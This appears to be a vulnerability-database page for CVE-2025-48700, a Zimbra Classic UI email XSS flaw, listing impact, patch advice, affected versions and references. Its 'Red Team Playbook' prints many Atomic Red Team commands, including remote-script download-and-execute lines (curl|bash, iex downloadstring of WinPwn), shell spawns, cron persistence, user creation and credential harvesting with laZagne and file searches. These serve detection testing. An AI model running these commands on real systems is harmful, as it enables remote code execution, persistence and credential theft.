CVE-2025-48700
Overview
This vulnerability is a Cross-Site Scripting (XSS) flaw rooted in insufficient sanitization of HTML content within the Zimbra Classic UI. The issue arises from improper handling of crafted tag structures and attribute values that include @import directives and other script injection vectors. The affected component is the Classic UI rendering engine that processes email message content, failing to neutralize malicious JavaScript payloads embedded in email bodies.
Vulnerability Description
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0 and 10.0 and 10.1. A Cross-Site Scripting (XSS) vulnerability in the Zimbra Classic UI allows attackers to execute arbitrary JavaScript within the user's session, potentially leading to unauthorized access to sensitive information. This issue arises from insufficient sanitization of HTML content, specifically involving crafted tag structures and attribute values that include an @import directive and other script injection vectors. The vulnerability is triggered when a user views a crafted e-mail message in the Classic UI, requiring no additional user interaction.
Impact
An attacker can execute arbitrary JavaScript code within the victim's browser session by sending a crafted email that the user opens in the Classic UI. This enables unauthorized access to sensitive information accessible in the user's session, such as email contents or authentication tokens. No authentication or further user interaction beyond viewing the malicious email is necessary. The vulnerability can lead to data theft, session hijacking, or other client-side attacks impacting confidentiality and user trust.
Solution
Zimbra has addressed this vulnerability in security advisories published on their official wiki (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories). Users should upgrade affected Zimbra Collaboration Suite versions 8.8.15, 9.0, 10.0, and 10.1 to the latest patched releases as detailed in the advisories. The vendor’s Security Center and Responsible Disclosure Policy pages provide guidance on applying updates and recommended mitigations to disable or restrict the Classic UI if immediate patching is not feasible.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (94)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
12 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-48700 |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Security_Center |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-48700 |